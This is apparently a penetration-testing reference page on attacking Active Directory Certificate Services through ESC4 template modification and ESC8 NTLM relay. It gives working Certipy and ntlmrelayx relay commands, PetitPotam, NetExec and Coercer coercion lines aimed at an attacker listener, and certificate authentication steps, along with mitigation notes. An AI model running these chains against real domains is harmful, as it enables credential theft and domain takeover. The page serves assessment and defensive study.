RTFM_ security field notes

ADCS

Enumerate certificate services, distinguish template control from enrollment relay, and follow ESC4 or ESC8 prerequisites.

ADCS is a certificate infrastructure, not a single exposed port. Separate the CA, published certificate templates and enrollment endpoints before choosing an attack path.

Discover and choose a path

With an existing domain account, begin with directory-only enumeration:

certipy find -u "$USER@$DOMAIN" -dc-ip "$DC_IP" -dc-only -enabled -stdout

Certipy prompts for a password when needed. -dc-only skips CA configuration retrieval and web-enrollment checks: it cannot settle ESC8. Without that flag, find can contact the CA and enrollment services as well as the DC.

  • Template modification rights: investigate ESC4, including effective ACLs and whether a CA publishes the template.
  • Web enrollment with NTLM: investigate ESC8, including the endpoint’s EPA configuration and the relayed identity’s enrollment rights.
  • Neither established: retain the missing conditions; an ESC label from a tool is a lead to inspect, not a completed certificate-authentication test.

The syntax below follows the reviewed Certipy revision in Sources. Check certipy template -h before using an older installation.

ESC4

ESC4 means an account can modify security-relevant certificate template settings. It may enable an ESC1-style path, but CA publication, enrollment rights and issuance policy must also permit it.

# Save the template configuration without changing it
certipy template -u "$USER@$DOMAIN" -dc-ip "$DC_IP" \
  -template "$TEMPLATE" -save-configuration template-before.json
Template modification and restoration

The current explicit write operation applies Certipy’s default ESC1 configuration. This changes a shared directory object and can alter enrollment rights for other users:

certipy template -u "$USER@$DOMAIN" -dc-ip "$DC_IP" \
  -template "$TEMPLATE" -write-default-configuration \
  -save-configuration template-change-backup.json
# Restore the separately preserved pre-change configuration
certipy template -u "$USER@$DOMAIN" -dc-ip "$DC_IP" \
  -template "$TEMPLATE" -write-configuration template-before.json

Older examples use -save-old and -configuration; these are not the current parser’s flags. Preserve the original backup separately and verify restored attributes and permissions. Template modification alone does not issue a certificate or establish that it can authenticate.

ESC8

The goal of the ESC8 attack is to relay a user to the ADCS web enrollment endpoint. Several prerequisites are therefore required:

  • An ADCS environment
  • The web enrollment service
  • A user with the right to request certificates from ADCS
  • NTLM accepted by the enrollment endpoint without effective relay protection such as Extended Protection for Authentication

Enumerate beyond the DC to gather CA and enrollment information:

certipy find -u "$USER@$DOMAIN" -dc-ip "$DC_IP" -enabled -stdout

ESC8 is an enrollment-endpoint relay weakness, not a template vulnerability. A usable template and enrollment rights are additional requirements. Verify effective IIS authentication and EPA settings with the administrator. HTTPS alone does not establish relay protection. Microsoft recommends requiring EPA and disabling HTTP; disabling NTLM is an additional mitigation. SMB signing on the same host does not establish protection for its HTTP endpoint.

Relay and coercion examples

These operations trigger authentication and request certificates; finding ADCS alone does not justify treating them as routine enumeration.

Certipy

certipy relay -target "http://$CA_DNS" -template "$VULNERABLE_TEMPLATE"

ntlmrelayx

ntlmrelayx -t "http://$CA_DNS/certsrv/certfnsh.asp" -smb2support --adcs --template "$VULNERABLE_TEMPLATE"

Whatever the technique, a request has to be relayed, ideally one from an Active Directory host. This can be done with tools such as petitpotam, netexec or coercer.

PetitPotam

# Unauthenticated
petitpotam.py "$ATTACKER_IP" "$DC_HOST"
# Authenticated
petitpotam.py -d "$DOMAIN" -u "$USER" -p "$PASSWORD" "$ATTACKER_IP" "$DC_HOST"

NetExec

nxc smb "$DC_IP" -u "$USER" -p "$PASSWORD" -M coerce_plus -o LISTENER="$ATTACKER_IP"
nxc smb "$DC_IP" -u "$USER" -H "$NT_HASH" -M coerce_plus -o LISTENER="$ATTACKER_IP"

Coercer

coercer coerce -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --listener "$ATTACKER_IP" --target-ip "$DC_HOST" --always-continu

Once the coercion is done, the PFX file generated by certipy can be used to authenticate.

certipy auth -pfx $PFX_NAME.pfx -dc-ip $DC_IP -domain $DOMAIN

Certificate authentication depends on mapping, trust and KDC policy. Obtaining a PFX does not by itself prove successful authentication or recovery of an NT hash.

Sources and freshness

Version 3, reviewed 2026-11-24; no certificate request or domain test performed.

Provenance and confidence
Version
3
Sources reviewed
2026-11-24
Confidence
medium — V3 on 2026-11-24 checks find/template/relay options against Certipy revision 3ae34426 and ESC8 protections against Microsoft KB5005413. No domain test; other legacy coercion examples remain unvalidated.

Also searched as: adcs, services de certificats, esc8, esc4, certipy